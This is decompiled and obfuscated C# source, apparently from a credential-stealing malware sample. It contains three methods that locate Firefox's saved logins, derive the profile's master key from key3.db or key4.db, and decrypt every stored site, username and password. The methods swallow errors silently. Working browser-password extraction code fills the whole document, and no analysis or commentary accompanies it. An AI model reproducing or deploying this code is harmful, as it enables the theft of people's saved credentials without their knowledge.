// Token: 0x06000CC6 RID: 3270 RVA: 0x000285A4 File Offset: 0x000267A4 public List <BrowserCredendtial> Lopos(string profile, byte[] privateKey) { List <BrowserCredendtial> list = new List <BrowserCredendtial>(); try { string path = rcvr.CreateTempCopy(Path.Combine(profile, "logins.json")); if (!File.Exists(path)) { return(list); } foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON()["logins"])) { JsonValue jsonValue = (JsonValue)obj; нкрпар нкрпар = Апн.Create(Convert.FromBase64String(jsonValue["encryptedUsername"].ToString(false))); нкрпар нкрпар2 = Апн.Create(Convert.FromBase64String(jsonValue["encryptedPassword"].ToString(false))); string text = Regex.Replace(шо67г.lTRjlt(privateKey, нкрпар.Objects[0].Objects[1].Objects[1].ObjectData, нкрпар.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); string text2 = Regex.Replace(шо67г.lTRjlt(privateKey, нкрпар2.Objects[0].Objects[1].Objects[1].ObjectData, нкрпар2.Objects[0].Objects[2].ObjectData, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty); BrowserCredendtial browserCredendtial = new BrowserCredendtial { URL = (string.IsNullOrEmpty(jsonValue["hostname"].ToString(false)) ? "UNKNOWN" : jsonValue["hostname"].ToString(false)), Login = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text), Password = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2) }; if (browserCredendtial.Login != "UNKNOWN" && browserCredendtial.Password != "UNKNOWN" && browserCredendtial.URL != "UNKNOWN") { list.Add(browserCredendtial); } } } catch (Exception) { } return(list); }
// Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30 private static byte[] p3k(string file) { byte[] array = new byte[24]; try { if (!File.Exists(file)) { return(array); } new DataTable(); ррп6 berkeleyDB = new ррп6(file); о6а о6а = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check"))); string hexString = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt")); р6прлгв р6прлгв = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt)); р6прлгв.го7па(); шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None); нкрпар нкрпар = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt")))); р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData); р6прлгв2.го7па(); нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData); if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24) { Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24); } else { array = нкрпар2.Objects[0].Objects[3].ObjectData; } } catch (Exception) { } return(array); }
private static byte[] p4k(string file) { byte[] result = new byte[24]; try { if (!File.Exists(file)) { return(result); } CNT cNT = new CNT(file); cNT.ReadTable("metaData"); string s = cNT.ParseValue(0, "item1"); string s2 = cNT.ParseValue(0, "item2)"); нкрпар нкрпар = Апн.Create(Encoding.Default.GetBytes(s2)); byte[] objectData = нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; byte[] objectData2 = нкрпар.Objects[0].Objects[1].ObjectData; р6прлгв р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); р6прлгв.го7па(); шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2); cNT.ReadTable("nssPrivate"); int rowLength = cNT.RowLength; string s3 = string.Empty; for (int i = 0; i < rowLength; i++) { if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(strg.Key4MagicNumber)) { s3 = cNT.ParseValue(i, "a11"); break; } } нкрпар нкрпар2 = Апн.Create(Encoding.Default.GetBytes(s3)); objectData = нкрпар2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData; objectData2 = нкрпар2.Objects[0].Objects[1].ObjectData; р6прлгв = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData); р6прлгв.го7па(); result = Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2, PaddingMode.PKCS7)); return(result); } catch (Exception) { return(result); } }